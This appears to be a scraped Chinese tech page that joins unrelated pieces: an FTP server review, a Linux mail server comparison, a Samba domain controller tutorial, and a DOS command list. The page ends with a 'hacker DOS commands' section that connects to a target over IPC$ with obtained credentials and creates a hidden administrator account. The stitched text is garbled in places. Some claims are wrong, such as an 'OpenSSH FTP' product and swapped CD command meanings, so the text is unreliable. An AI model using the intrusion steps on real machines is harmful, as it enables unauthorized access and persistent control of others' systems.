深度测评:热门免费FTP服务器软件的性能对比
随着信息技术的快速发展,文件传输需求日益增长,FTP(文件传输协议)作为一种常用的数据传输方式,依然在企业、个人用户间广泛应用。
在众多的FTP服务器软件中,哪些软件性能卓越、操作简便且免费呢?本文将对当前热门的免费FTP服务器软件进行深入测评,以便读者更好地了解和选择。
一、概述
FTP服务器软件是用于搭建FTP服务的软件,支持用户通过FTP协议进行文件上传与下载。
当前市场上存在许多免费和付费的FTP服务器软件,其中免费的软件在功能和性能上各具特色。
本文将选取几款热门的免费FTP服务器软件进行对比分析,包括FileZilla、Serv-U FTP、OpenSSH FTP等。
二、软件介绍
1. FileZilla
FileZilla是一款功能强大的免费FTP服务器软件,支持多种操作系统平台。
它具备高速传输、稳定可靠的特点,同时支持断点续传,极大提高了文件传输的效率和安全性。
FileZilla还具备丰富的管理功能,包括远程文件编辑、自定义文件传输速度等。
2. Serv-U FTP
Serv-U FTP是一款广泛使用的免费FTP服务器软件,具备高性能和高度可定制化的特点。
它支持多种操作系统平台,并提供了丰富的配置选项,方便用户根据自己的需求进行个性化设置。
Serv-U FTP还具备强大的安全性能,支持多种身份验证方式。
3. OpenSSH FTP
OpenSSH FTP是一款基于SSH协议的免费FTP服务器软件,具备高度的安全性和稳定性。
它支持多种操作系统平台,并提供了丰富的命令行工具,方便用户进行远程管理和文件传输。
OpenSSH FTP还支持加密传输,有效保护用户数据的安全。
三、性能对比
1. 安装与设置
在安装与设置方面,FileZilla和Serv-U FTP相对较为简便,尤其是FileZilla,其界面友好,易于上手。
而OpenSSH FTP则需要一定的命令行操作经验,对于初学者来说可能较为困难。
2. 稳定性与安全性
在稳定性和安全性方面,三款软件均表现出较高的性能。
OpenSSH FTP基于SSH协议,加密传输数据,安全性更高。
Serv-U FTP和FileZilla也提供了丰富的安全设置选项,用户可根据自身需求进行设置。
3. 传输速度与效率
在传输速度与效率方面,FileZilla和Serv-U FTP表现较为出色。
它们均支持断点续传,大大提高了文件传输的效率和稳定性。
而OpenSSH FTP虽然安全性高,但在传输速度上可能稍逊一筹。
4. 功能与扩展性
在功能与扩展性方面,FileZilla和Serv-U FTP较为丰富。
它们提供了多种管理功能,如远程文件编辑、自定义文件传输速度等。
而OpenSSH FTP则更注重命令行操作,功能相对较为单一。
四、总结与建议
根据以上对比分析,读者可以根据自身需求和实际情况选择合适的FTP服务器软件。
若您追求简单易用,FileZilla是一个不错的选择;若您更注重安全性,OpenSSH FTP将是一个理想的选择;若您需要丰富的管理功能和高度可定制化,Serv-U FTP将是一个不错的选择。
选择适合自己的FTP服务器软件是提高工作效率和保障数据安全的关键。
希望本文的测评分析能够帮助读者更好地了解和选择FTP服务器软件。
到底谁牛 Linux邮件服务器软件比较
几年以前,Linux环境下可以选择 的可以免费邮件服务器软件只有Sendmail,但是由于Sendmail的缺陷,一些开发 者先后开发了若干种其他的邮件服务器软件。 当前,运行在Linux环境下免费的 邮件服务器,或者称为MTA(Mail Transfer Agent)有若干种选择,比较常见的有Sendmail、Qmail、Postfix、 exim及Zmailer等等。 本文希望通过对几种影响相对来说比较大的主流Linux环境 下的MTA的特点进行阐述,并对其优缺点一一分析比较,使用户在选择Linux 环境下的免费MTA时有一个选择的依据。 一、PostfixPostfix是一个由IBM资助下由Wietse Venema 负责开发的自 由软件工程的一个产物,其目的是为用户提供除sendmail之外的邮件服务器选择 。 Postfix力图做到快速、易于管理、提供尽可能的安全性 ,同时尽量做到和sendmail邮件服务器保持兼容性以满足用户的使用习惯。 起初 ,Postfix是以VMailer这个名字发布的,后来由于商标上的原因改名为Postfix。 1.主要设计目标Postfix工程的目标是实现一个邮件服务器,提供给用户除sendmail以外的选 择。 其设计目标包括:性能: Postfix要比同类的服务器产品速度快三倍以上,一个安装 Postfix的台式机一天可以收发百万封信件。 Postfix设计中采用了web服务器的 的设计技巧以减少进程创建开销,并且采用了其他的一些文件访问优化技术以提 高效率,但同时保证了软件的可靠性。 兼容性:Postfix设计时考虑了保持Sendmail的兼容性问题,以使移植变 的更加容易。 Postfix支持/var[/spool]/mail, /etc/aliases, NIS, 及 ~/等文件。 然而 Postfix为保证管理的简单性,所以没有支持配置文件 。 安全和健壮性:Postfix设计上实现了程序在过量负载情况下仍然保证程 序的可靠性。 当出现本地文件系统没有可用空间或没有可用内存的情况时, Postfix就会自动放弃,而不是重试使情况变的更糟。 灵活性:Postfix结构上由十多个小的子模块组成,每个子模块完成特定 的任务,如通过SMTP协议接收一个消息,发送一个消息,本地传递一个消息,重 写一个地址等等。 当出现特定的需求时,可以用新版本的模块来替代老的模块, 而不需要更新整个程序。 而且它也很容易实现关闭某个功能。 安全性:Postfix使用多层防护措施防范攻击者来保护本地系统,几乎每 一个Postfix守护进程都能运行在固定低权限的chroot之下,在网络和安全敏感 的本地投递程序之间没有直接的路径—一个攻击者必须首先突破若干个其他的程 序,才有可能访问本地系统。 Postfix甚至不绝对信任自己的队列文件或IPC消息 中的内容以防止被欺骗。 Postfix在输出发送者提供的消息之前会首先过滤消息 。 而且Postfix程序没有set-uid。 的一些特点支持多传输域:Sendmai支持在Internet, DECnet, X.400及UUCP之间转发消息。 Postfix则灵活的设计为无须虚拟域 (vistual domai)或别名来实现这种转发。 但是在早期的发布里仅仅支持STMP和有限度 地支持UUCP,但对于我国用户来说,多传输域的支持没有什么意义。 虚拟域:在大多数通用情况下,增加对一个虚拟域的支持仅仅需要改变一个 Postfix查找信息表。 其他的邮件服务器则通常需要多个级别的别名或重定向来 获得这样的效果。 UCE控制 (UCE,unsolicited commercial email): Postfix能限制哪个主机允许通过自身转发邮件,并且 支持限定什么邮件允许接进。 Postfix实现通常的控制功能:黑名单列表、RBL查 找、HELO/发送者DNS核实。 基于内容过滤当前没有实现。 表查看: Postfix没有实现地址重写语言,而是使用了一种扩展的表查看来实现地 址重写功能。 表可以是本地 dbm或 db文件等格式。 体系结构及与Sendmail 的比较Postfix是基于半驻留,互操作的进程的体系结构,每个进程完成特定的任务,没有任何特定的进程衍生关系(父 子关系)。 而且,独立的进程来完成不同的功能相对于“单块”程序具有更好的 隔离性。 此外,这种实现方式具有这样的优点:每个服务如地址重写等都能被任 何一个Postfix部件所使用,无须进程创建等开销,而仅仅需要重写一个地址, 当然并不是只有postfix采用这种方式。 Postfix是按照这种方式实现的: 一个驻留主服务器根据命令运行Postfix守护进程,守护进程完成发送或接收网 络邮件消息,在本地递交邮件等等功能。 守护进程的数目由配置参数来决定的, 并且根据配置决定守护进程运行的次数(re-used times),当空闲时间到达配置参数指定的限度时,自动消亡。 这种方法 明显地降低了进程创建开销,但是单个进程之间仍然保持了良好的隔离性。 Postfix的设计目标就是成为 Sendmail的替代者。 由于这个原因,Postfix系统的很多部分,如本地投递程序 等,可以很容易地通过编辑修改类似inetd的配置文件来替代。 Postfix的核心是由十多个半驻留 程序实现的。 为了保证机密性的原因,这些Postfix进程之间通过Unix的socket 或受保护的目录之下的FIFO进行通信。 即使使用这种方法来保证机密性, Postfix进程并不盲目信任其通过这种方式接收到的数据。 Postfix进程之间传递的数据量是 有限制的。 在很多情况下,Postfix进程之间交换的数据信息只有队列文件名和 接收者列表,或某些状态信息。 一旦一个邮件消息被保存进入文件,其将在其中 保存到被一个邮件投递程序读出。 Postfix采用一些通常的措施来避 免丢失信息:在收到确认以前通过调用flush和fsync()保存所有的数据到磁盘中 。 检查所有的系统调用的返回结果来避免错误状况。 大多数构建邮件服务器者都会选择 sendmail,公平的来讲sendmail是一个不错的MTA(Mail Transfer Agent),最初开发时Eric Allman的设计考虑主要放在了邮件传递的成 功性。 不幸的是,Sendmai开发时没有太多的考虑Internet环境下可能遇到的安 全性问题。 Sendmail在大多数系统上只能以根用户身份运行,这就意味着任何漏 洞都可能导致非常严重的后果,除了这些问题之外,在高负载的情况Sendmail运 行情况不是很好。 4.安全Postfix则并一定要以root 的身份运行,而只需要一个主(master)程序以root身份运行,其生成进程来处理 接入、发出及本地邮件投递工作。 通过使用一系列模块部件,每个任务由一个单 独的程序来运行(这样使审计变的容易一些)。 例如发出邮件被卸载到一个队列目 录,在这里“pcikup”程序取到该邮件然后将邮件传递给“cleanup”程序,其再 将邮件传递给“trivial-rewrite”,其负责处理邮件头,最后若邮件目的是别 的系统则将邮件传递给“smtp”程序。 而且相对于Sendmail来说Postfix也更容 易设置chrooted环境。 只要简单地通过编辑(一般位于/etc/postfix 内)文件即可实现,并且Postfix将运行chrooted,以限定在其定义的队列目录之 下(通常位于/var/spool/postfix),同样可以在中对Postfix的单一模 块设置进程限制。 用户可以限制Postfix以哪个用户的身份运行,一般来说是以 “postfix”用户(概念上该用户和Apache的nobody类似)运行,该用户可以访问 特定的队列目录。 Postfix其他的主要优点是起配置文件的清晰易懂性。 5.与Sendmail的比较如sendmail之类的邮件系统 是按照一个单块的结构设计实现的,该“单块”程序实现所有的功 能。 当然这种结构有利于在系统的不同部分之间共享数据。 但是这种结构容易出 现一些致命的错误。 而如qmail的邮件系统上使用一种分层次的结构,按照固定 得顺序运行不同功能的子模块进程,执行完毕之后就将其释放。 这种方法有良好 的“绝缘”性,但是增加了进程创建开销和进程间通信开销。 但是通过合理的规 划子模块进程的运行顺序可以将开销保持在可以接受的范围内。 使用其他的MTA替代Sendmail是一 件非常麻烦的事情,用户往往又要花大量的时间去熟悉新的MTA的配置和使用。 而使用Postfix,你可以利用很多以有的配置文件。 如(access, aliases, virtusertable等等),只需要简单的在中定义一下即可。 此 外,Postfix在行为上也很象Sendmail,用户可以使用sendmail命令 来启动Postfix。 当然,使用一个软件来替代另外一个软件需要解决特定的问题。 部分原因是因为 Postfix的安全特性,在配置Postfix时可能会遇到一些问题。 最典型的问题是向 root用户发送邮件。 Postfix一般不提高自身的权限(向root用户发送邮件所必须 的)来投递邮件。 用户需要在别名文件中为root定义别名,如:root: someuser。 这同样会对若干个邮件列表模块发生影响,特别是SmartList 。 一般来说实现邮件列表最好使用Majordomo,它易于配置。 Sendmail一个很突出的问题就是可 扩展性和性能问题。 例如用户若希望每天重新启动Sendmail来实现自动更新配置 文件(如为虚拟主机重定向邮件)就会出现问题。 Sendmail生成新的进程来处理发 送和接收邮件,这些进程会一直存在直到传输结束,之后Sendmail才能退出,这 样你的脚本程序将不能正确的重起Sendmail。 而对于Postfix,用户则只需要发 出命令postfix reload即可,Postfix将会重新加载其配置文件。 另外,对于有数以万计的用户的邮件服务器来说,使用文件来存储如匹配用户发 出邮件地址(例如bob发出的信的发信人修改为)。 对于大量用 户来讲,该文件就会变的很巨大,从而影响系统的运行效率。 而Postfix则可以 和一个数据库后台集成起来(当前只支持MySQL)来存放其配置信息,数据库方式 要比文件方式在可扩展性方面强大很多。 遵从IBM的开放源代码版权许可证 ,用户可以自由地分发该软件,进行二次开发。 其唯一的限制就是必须将对 Postfix做的修改返回给IBM公司。 因为IBM资助了Wietse的开发。 6.与Qmail的比较Qmail的缺点就是配置方式和 Sendmail不一致,不容易维护。 而且Qmail的版权许可证含义非常模糊,甚至没 有和软件一起发布。 应用作者的话:若你希望分发自己修改版本的Qmail,你必须得到我的许可。 二、QmailQmail是有Dan Bernstein开发的可以自由 下载的MTA,其第一个beta版本0.70.7发布于1996年1月24日,1997年2月发布了 1.0版,当前版本是1.03。 的特点安全性:为了验证Qmail的安全性,Qmail的支持者甚至出资$1000悬赏寻找 Qmail的安全漏洞,一年以后,该奖金没有被领取,而被捐献给自由软件基金会 。 目前,Qmail的作者也出资$500来寻求Qmail的安全漏洞。 速度:Qmail在一个中等规模的系统可以投递大约百万封邮件,甚至在一 台486一天上能处理超过10万封邮件,起支持并行投递。 Qmail支持邮件的并行投 递,同时可以投递大约20封邮件。 目前邮件投递的瓶颈在于SMTP协议,通过STMP 向另外一台互联网主机投递一封电子邮件大约需要花费10多秒钟。 Qmail的作者 提出了QMTP(Quick Mail Transfer Protocol)来加速邮件的投递,并且在Qmail中得到支持。 Qmail的设计目标是在一台16M的机器上最终达到每天可以投递大约百万级数目的 邮件。 可靠性:为了保证可靠性,Qmail只有在邮件被正确地写入到磁盘才返回 处理成功的结果,这样即使在磁盘写入中发生系统崩溃或断电等情况,也可以保 证邮件不被丢失,而是重新投递。 特别简单的虚拟域管理:甚至有一个第三方开发的称为vchkpw的add-on来支持虚 拟POP域。 使用这个软件包,POP3用户不需要具有系统的正式帐户。 使用ezmlm支持用户自控制的邮件列表功能。 邮件用户和系统帐户隔离,为用户提供邮件帐户不需要为其设置系统帐户 ,从而增加了安全性。 VS Qmail首先:sendmail是 发展历史悠久的MTA,当前的版本是8.10.2。 当然,Sendmail在可移植性、稳定 性及确保没有bug方面有一定的保证。 但是Internet上有很多帖子都是关于如果 攻击Sendmail,这对于管理员来说是一个噩梦。 Sendmail在发展过程中产生了一批经验丰富的Sendmail管理员,并且 Sendmail有大量完整的文档资料,除了 Sendmail的宝典: OReillys sendmail book written by Bryan Costales with Eric Allman以外,网络上有大量的tutorial、FAQ和其他的资源。 这些大量的文档对于很好的利用 Sendmail的各种特色功能是非常重 要的。 但是Sendmai当前来说是一个成熟的MTA。 当然,Sendmail具有一些缺点,其特色功 能过多而导致配置文件的复杂性。 当然,通过使用m4宏使配置文件的生成变的容 易很多。 但是,要掌握所有的配置选项是一个很不容易的事情。 Sendmail在过去 的版本中出现过很多安全漏洞,所以使管理员不得不赶快升级版本。 而且 Sendmail的流行性也使其成为攻击的目标,这有好处也有坏处:这意味着安全漏 洞可以很快地被发现,但是同样使Sendmail更加稳定和安全。 另外一个问题是 Sendmail一般缺省配置都是具有最小的安全特性,从而使Sendmail往往容易被攻 击。 如果使用Sendmail,应该确保明白每个打开的选项的含义和影响。 一旦你理 解了Sendmail的工作原理,就Sendmail的安装和维护就变的非常容易了。 通过 Sendmail的配置文件,用户实现完成一切可以想象得到的需求。 Qmail是一个选择, 其在设计实现中特别考虑了安全问题。 如果你需要一个快速的解决方案如,一个 安全的邮件网关,则Qmail是一个很好的选择。 Qmail和Sendmail的配置文件完全 不同。 而对于Qmail,其有自己的配置文件,配置目录中包含了5-30个不同的文 件,各个文件实现对不同部分的配置(如虚拟域或虚拟主机等)。 这些配置说明都 在man中有很好的文档,但是Qmail的代码结构不是很好。 Qmail要比Sendmail小很多,其缺 乏一些现今邮件服务器所具有的特色功能。 如不象Sendmail,qmail不对邮件信 封的发送者的域名进行验证,以确保域名的正确性。 自身不提供对RBL的支持, 而需要add-on来实现。 ,而Sendmail支持RBL。 同样Qmail不能拒绝接收目的接收 人不存在信件,而是先将邮件接收下来,然后返回查无此用户的的邮件。 Qmail 最大的问题就出在发送邮件给多个接收者的处理上。 若发送一个很大的邮件给同 一个域中的多个用户,Sendmail将只向目的邮件服务器发送一个邮件拷贝。 而 Qmail将并行地连接多次,每次都发送一个拷贝给一个用户。 若用户日常要发送 大邮件给多个用户,使用Qmail将浪费很多带宽。 可以这么认为:Sendmail优化 节省带宽资源,Qmail优化节省时间。 若用户系统有很好的带宽,Qmail将具有更 好的性能,而如果用户系统的带宽资源有限,并且要发送很多邮件列表信息,则 Sendmail效率更高一些。 Qmail不支持(在很多情况下对用户很 有用处);不使用/var/spool/mail,而是将邮件存放在用户home目录。 下面是一 些使用Qmail不容易完成的工作,要使用Qmail完成这些工作,可能需要用户自己 动手实现或者使用第三方提供的不够可靠的模块。 Qmail的源代码相对于Sendmail来说要更加容易理解,这对于希望深入到内 部了解MTA机制的人员来说是一个优点。 Qmail在安全性方面也要稳定一些。 Qmail 有很好的技术支持,但是没有象Sendmail那样被广泛地应用和大量 的管理员用户群。 Qmail的安装不象Sendmail那样自动化,需要手工步骤。 而且 Qmail的文档不如Sendmail那样完整和丰富。 Qmail的add-ons比 Sendmail要少一些。 一般来说对于 经验稍微少一些的管理员,选择Qmail相对要好一些。 Qmail 要简单一些,而且其特色功能能满足一般用户的需求。 Sendmail类似于office套 件,80%的功能往往都不被使用。 这就使Qmail在一些场合可能被更受欢迎一些, 其具有一些Sendmail所没有的更流行和实用的特色功能,如:Qmail具有内置的 pop3支持。 Qmail同样支持如主机或用户的伪装、虚拟域等等。 Qmail的简单性也 使配置相对容易一些。 Qmail被认为相对于Sendmail更加安全和高效,运行 Qmail的一台pentium机器一天可以处理大约 200,0000条消息。 Qmail相对于其他的MTA要简单很多,主要体现在:(1)其 他的MTA的 邮件转发、邮件别名和邮件列表都是采用相互独立的机制,而qmail 采用一种简单的转发(forwarding)机制来允许用户处理自己的邮件列表(2)其他的MTA都 提供快速而不安全的方式及慢的队列方式的邮件投递机制;而qmail 发送是由新邮件的出现而触发的,所以其投递只有一种模式:快速的队列方式(3)其他的MTA实 际上包括一个特定版本的inetd 来监控MTA的 平均负载,而qmail 设计了内部机制来限制系统负载,所以qmail-smtpd 能安全地从系统的inet来 运行sendmail有很多 的商业支持,而且由于大量的用户群,在互联网上有大量的潜在技术支持。 而 Qmail只有很有限的技术支持。 有家公司提供对Qmail的支 持,该公司同样提供了免费的add-ons,包括一个基于web的管理工具-QmailAdmin及一个通过vpopmail的对虚拟域的支持,甚至具有一个基于web的客户借接口— SqWebMail。 Qmail还具有一些其他的缺憾。 如 它不是完全遵从标准,它不支持DSN,作者认为DSN是一个即将消亡的技术,而 Qmail的VERP可以完成同样的工作,而又不象DSN依赖于其他主机的支持。 Qmail 另外一个问题是其不遵从支持7bit系统标准,而每次都发送8bit。 若邮件接收一 方不能处理这种情况,就会出现邮件乱码的情况。 从安全性来讲,Sendmail要比 Qmail差一些,Sendmail在发展中出现过很多很著名的安全漏洞;而Qmail相对要 短小精悍,但是仍然提供了基本的STMP功能。 而Qmail的代码注释要少一些。 Qmail的一个很好的特色是其支持一种可选的基于目录的邮件存储格式,而不是 使用一个很大的文件来存储用户所有的邮件。 若用户的邮件服务器进行很多的 POP3服务,则这种邮件存储格式可以提高效率。 但是遗憾的是Pine自身并不支持 这种存储格式,如果需要可以使用一些补丁来达到这个目的。 Qmail的优点是:每个用户都可以 创建邮件列表而无须具有根用户的权限,如用户foo可以创建名为 foo-slashdot, foo-linux,foo-chickens 的邮件列表,为了提供更好的功能,有一个叫 ezmlm(EZ Mailing List Maker)的工具可以支持自动注册和注销、索引等Majordomo所具有 的各种功能,但是都是CLI驱动的,只需要编辑很少的文件。 Qmail非常适合在小 型系统下工作,一般只支持较少的用户或用来管理邮件列表。 Qmail速度快并且 简单:Qmail是当你希望安全切容易配置的最佳的选择;Qmail可以在2个小时内 搞定配置,而Sendmail可能在两天内都搞不定。 rocketmail internic 等都使用qmail来构建。 三、ZMailerZMailer是一个高性能、多 进程的Unix系统邮件程序。 [ a.k.a. MTA per X.400 parlance ],其可以从下面的服务器ftp:///pu b/unix/mail/zmailer/ 自由下载。 其也是按照单块模式设计的。 如Hotmail等邮件系统就是用Zmailer构建的。 四、EximExim是由Cambridge 大学开发的遵从GPL的MTA,其风格上类似与Smail 3 ,但是比Smail 3更加完善。 当前最新版本是3.15。 其主站点为。 其最大的特点就是 配置简单性,但是其安全性不如Qmail及Postfix。 下面是对几种MTA的特点的比较,综合的来讲,Qmail和 Postfix都是很不错的MTA,选择的标准往往是个人的喜好问题,Postfix发展历史 要比Qmail迟一些。 MTA 成熟性 安全性 特色 性能 Sendmail兼容性 模块化设计 qmail medium high high high addons yes Sendmail high low high low x no Postfix low high high high yes yes exim medium low high medium yes no当然除了这里介绍的几种MTA以外,还有 Smail, , the Sun Internet Mail Server (SIMS), MMDF, CommuniGate, PMDF, Netscape Messaging Server,Obtuse smtpd/smtpfwdd,Intermail,MD Switch等其他商业或者免费的MTA可以选择。
域服务器状态下 FTP建立设置访问密码 为什么不正确?
前面我们已经讲了关于samba服务器如何充当一个局域网的文件服务器,以满足平时的工作需要,在看本文档之前,大家最好先看看那篇文档《Samba3.0服务器实战调试》(大家只有领会了那篇文档以后,再来看用 samba实现PDC就不死很困难了。 其实早在samba2.2版本已经能非常好的支持samba做PDC(主域控制器),只不过到了3.0对域的支持更加好,到现在为止最新的版本3.0,已经支持AD,并且支持Microsoft Kerberos 认证、完全重写和可配置的认证子系统等新功能。 好了,我们来开始今天的任务,我们今天只是实现简单的域控制器PDC的建立,至于他支持的AD和Kerberos等功能大家慢慢的自己去研究,我也不是很懂哦:) 1、安装samba,这个很简单了,如果你是fedora,就可以从光盘直接安装samba的rpm包。 rpm -ivh 大家也可以直接到samba的官方网站()去下载最新的软件包或者下载最新的tar包,。 那就最好按下面的方法编译 tar zvxf samba-3.0.0./configure --prefix=/usr --bindir=/usr/bin --sbindir=/usr/sbin --libexecdir=/usr/libexec --datadir=/usr/share/samba --sysconfdir=/etc/samba --localstatedir=/usr/local/samba/var --libdir=/usr/lib --with-lockdir=/var/locks/samba --with-swatdir=/usr/share/samba/swat --with-codepagedir=/etc/samba/codepages --with-configdir=/etc/samba --with-smbwrapper --with-automount --with-smbmount --with-pam --with-pam_smbpass --with-winbindmakemake intall ok!安装完以后,下面才是我们的重点,修改/etc/samba/,大家最好在原来的基础上修改。 [global]workgroup = bmitnetbios name = proxyserver string = Samba PDC running %vsocket options = TCP_NODELAY IPTOS_LOWDELAY SO_SNDBUF=8192 SO_RCVBUF=8192 这里的workgroup = bmit就代表bmit域,当然如果用那就更加规范,但为了客户端输入的方便,还是直接bmit的好,netbios name = proxy表示这台服务器的netbios名,socket options选项设置控制 TCP/IP 性能。 所显示的设置就可以与基于 Linux 的系统一起很好地工作了。 os level = 64preferred master = yeslocal master = yesdomain master = yes domain master 选项是一个“开关”,通告 Samba 将成为主域控制器。 (local master browser)是维护局域网机器列表的服务器被称为本地主浏览器。 security = userencrypt passwords = yesdomain logons = yeslog file = /var/log/samba/log.%mlog level = 2max log size = 50hosts allow = 127.0.0.1 192.168.1.0/255.255.255.0 这里我们还是使用user验证方式,不要悬在所谓的domain,至于hosts allow大家可以根据自己的需求写那些网段可以访问你的服务器,或者索性不写也行。 logon home = \%L\% drive = H:logon path = \%Lprofiles\%Ulogon script = 以上是漫游设置和登录脚本,logon path = \%Lprofiles\%U,会于下面我们要说的 [profiles] 共享成对应关系。 [homes]comment = Home Directoriesbrowseable = nowriteable = yes[profiles]path = /home/samba/profileswriteable = yesbrowseable = nocreate mask = 0600directory mask = 0700[netlogon]comment = Network Logon Servicepath = /home/netlogonread only = yesbrowseable = nowrite list= root 以上是关于共享的手腕子,其中profile是用来存放每个登录用户的设置文件,以便用户以后登录可以从服务器读取以前的桌面设置,netlogon是用来存放登录脚本的,所以要限制写的权限,假设这里只有root用户可以有权限。 至于其他共享,完全可以参照《Samba3.0服务器实战调试》(这篇文章共享设置,我就不再重复讲了。 接着是将用户和机器帐户添加到域控制器。 先建立创建了下列各组以及创建两个必要目录,并设置正确的所有权。 groupadd admingroupadd machinesmkdir -m 0775 /home/netlogonchown /home/netlogonmkdir /home/samba /home/samba/profileschown 1757 /home/samba/profiles 对上述目录设置正确的权限和所有权是保护服务器的关键一步哦。 手工添加机器帐号,比如我的客户端的机器名是ibm240,那么我们可以这么做 useradd -g machines -d /dev/null -c machine id -s /bin/false ibm240$passwd -l ibm240$ 输入两遍密码;不要忘记标上美元符号;这是必需的,它将该项标识为信任帐户。 创建 linux 帐户后,我们现在可以将该机器添加到 /etc/samba/smbpasswd smbpasswd -a -m ibm240 当然你也可以让系统自动添加机器帐号,用下面的方法,不过大家最好先试手动添加,成功后再试验系统自动添加,自动添加只要在[global]添加 add user script = /usr/sbin/useradd -d /dev/null -g machines -s /bin/false -M %u 添加用户帐号 首先添加的是root帐户,把root加入到smb帐户中 smbpasswd -c root 这一步很重要,因为后面的加入域要用到有管理员的帐号加入域的权限,否则用普通用户好像不能顺利加入域,然后添加普通用户 useradd frankpasswd franksmbpasswd -a frank 为了方便以后的管理,最好smb的用户密码和unix系统密码一样,这样我们还可以用到samba的密码同步功能。 下面的选项语句将允许用户从 Windows 客户机上更改他们的 Samba 密码,这样会随即更新他们的 UNIX 密码以与新的 Samba 项相匹配。 但是如果更改了 UNIX 密码,那么同一技术不能逆向工作;必需手工同步更改 Samba 密码。 也是在[global],初学者可以先不做这个工作。 unix password sync = yespasswd program = /usr/bin/passwd %upasswd chat = *New*UNIX*password* %n*Retype*new*UNIX*password* %n*Enter*new*UNIX*password* %n*Retype*new*UNIX*password* %n*passwd: *all*authentication*tokens*updated*successfully* 上述语句中唯一值得一提的是 passwd chat 选项,不管这里如何显示它,都要将它输入成一行。 还要注意有些选项使用“password”,而有些使用“passwd”。 Samba PDC 的配置就这样完成了。 剩下唯一要做的是将客户机加入到域中。 记得重启samba服务哦!客户端的设置,这里由于条件的限制,我只试验了windows2000客户端加入域,至于winxp和win98的加入大家自己去试验。 (win200机器最好先重启一下,可以避免一些不必要的问题)然后转至 控制面板 -> 网络-> 网络标示,如果机器目前被配置在 工作组 选项下,那么选中 域 单选按钮并输入域名bmit。 现在,通过使用用户名 root 和相应的密码登录到域。 必需初始化服务器和客户机机器之间的“秘密”。 从此时起,任何已认证的用户都可以从这台机器登录。 应该出现一个欢迎您来到 XX域的消息 恭喜你已经成功将samba配置成PDC据说xp加入samba建立的域有点复杂,我没试验过
谁有DOS命令的解释哦.
ATTRIB 文件属性(显示或改变属性) CHDIR(CD) 改变目录 CHKDSK 检查磁盘 CHOICE 提示击键输入 CLS 清屏幕 COMMAND 重新加载MS-DOS程序 COPY 复制文件DATE 设置显示日期 DEBUG 调试程序 DEFRAG 清除磁盘碎片 DEL(ERASE) 删除文件 DELOLDOS 删除旧DOS文件 DELTREE 删除目录树分支 DIR 显示目录DISKCOMP 比较软盘内容 DISKCOPY 复制磁盘 DOS 扩展扩充内存管理 DOSSHELL DOS外层 DRIVPARM 定义驱动器参数 EDIT 编辑器 EMM386 内存管理 ERASE 删除文件 DBLSPACE 磁盘压缩 EXPAND 释放压缩 FASTHELP 快速求助 FC 文件比较 FDISK 磁盘分区 FIND 搜寻指定字串 FOR 循环执行命令 FORMAT 格式化磁盘 MEM 内存使用情况显示 MKDIR(MD) 建立子目录 MSAV 检查和清除病毒 MSBACKUP 磁盘文件务份 PATH 设置搜索路径 PAUSE 暂停执行命令 RESTORE 磁盘文件转储 RENAME(REN) 文件重新命名 RMDIR(RD) 删除目录 SCANDISK 检查磁盘 SYS 传送系统文件 TIME 设置显示时间 TREE 显示目录结构 TYPE 显示文件内容 UNDELETE 恢复被删除文件 VER 显示系统版本号 VOL 显示卷标 VSAFE 病毒检查 XCOPY 复制组文件 APPEND 补充路径 BREAK 检查控制中断 BUFFERS 设置磁盘缓冲区数 CALL 调用批文件 CHCP 转换码页 COUNTRY 确定国家标准货币 CTTY 改变控制台 DEVICE 安装设备驱动程序 DEVICEHIGH 装载设备驱动程序 ECHO 命令显示开关 FASTOPEN 快速加载文件 FCBS 使用文件控制块 FILES 同时打开文件数 GOTO 转向分支 GRAPHICS 图形屏幕打印 HELP 求助 IF 设定条件 INCLUDE 简化多重配置块 INSTALL 安装常驻程序 INTERLNK 计算机互连 INTERSVR 与服务器互连 KEYB 装载字符转换表 LABEL 卷标LASTDRIVE 置最大驱动器数 LOADFIX 装入固定内存 LOADHIGH(LH) 高内存程序装载 MEMMAKER 检查内存 MENUCOLOR 设置显示选项 MODE 设置硬件工作方式 MSCDEX 访问CD驱动器 MSO 检查系统配置 NLSFUNC 支持各国语言 NUMLOCK 控制NUMLOCK键 POWER 节省电能 PRINT 后台打印 PROMPT 改变系统提示 QBASIC 启动QB REM 注释信息 REPLACE 替换文件 SET 设置环境变量 SETUP 安装DOS6。 2文件 SETVER 改变DOS版本表 SHARE 网络文件共享 SHELL 装载命令处理程序 SMARTDRV 磁盘缓冲 SORT 文件排序 STACKS 支持动态使用的数据线 SUBMENU 菜单项(配置CONFIG。 SYS) SUBST 设置虚拟驱动器 SWITCHES 键盘开关 VRIFY 磁盘检验》:建立子目录命令 MD(内部命令) 功能:在指定盘的指定目录下建立一个子目录 格式:MD [盘符][路径]子目录名 注意:1。 不能建立根目录与目标目录下已经存在的目录 2。 缺省路径时则表示在当前目录下建立 2》:改变当前目录目录命令:CD (内部命令) 功能:设置指定盘的当前目录 格式:CD [盘符][路径] 注意:CD 表示显示当前目录 CD..表示退回到根目录 CD/ 表示退回到上一级目录 3》:删除子目录命令:RD(内部命令) 功能: 从指定的盘符上删除子目录 格式: CD [盘符][路径]子目录名 注意:1。 要删除的目录必须为空目录,如果不为空目录,先来到该目录,用 DEL *.*删除该目录下的所有内容 再回到上一级目录,用RD命令删除该目录 2。 不能删除当前目录与根目录 4》:列文件目录命令:DIR (内部命令) 功能:显示指定盘、指定目录下所包含的文件与下一级子目录的有关信息 格式:DIR [盘符][路径][文件名][/P][/W] [/P]表示分屏显示 [/W]表示压缩显示 5》:显示全盘目录命令:TREE (外部命令) 功能:显示指定盘的目录结构 格式:[盘符][路径]TREE [盘符1][/F] [/F]表示列出各级子目录的文件名 6》:设置查找目标命令PATH(内部命令) 功能:设置外部文件的查找目录 格式: PATH [盘符][路径][;盘符][路径]…… 注意:1。 显示上次PATH命令设置的查找文件目录命令用: PATH 2。 删除上次PATH命令设置的文件查找目录用: PATH; 7》:删除目录命令:DELTREE 功能:将整个目录及其子目录和文件全部删除 格式:DELLTREE [盘符][路径]目标文件 注意:全部删除、不论是否系统、隐藏、还是只读黑客常用dos命令(转)一般黑客入侵所需要的几个常用命令 1:NET只要你拥有某IP的用户名和密码,那就用IPC$做连接吧!这里我们假如你得到的用户是hbx,密码是。 假设对方IP为127.0.0.1net use \\127.0.0.1\ipc$ /user:hbx退出的命令是net use \\127.0.0.1\ipc$ /delte下面的操作你必须登陆后才可以用.登陆的方法就在上面.----------------------下面我们讲怎么创建一个用户,由于SA的权限相当于系统的超级用户.我们加一个heibai的用户密码为lovechinanet user heibai lovechina /add只要显示命令成功,那么我们可以把他加入Administrator组了 localgroup Administrators heibai 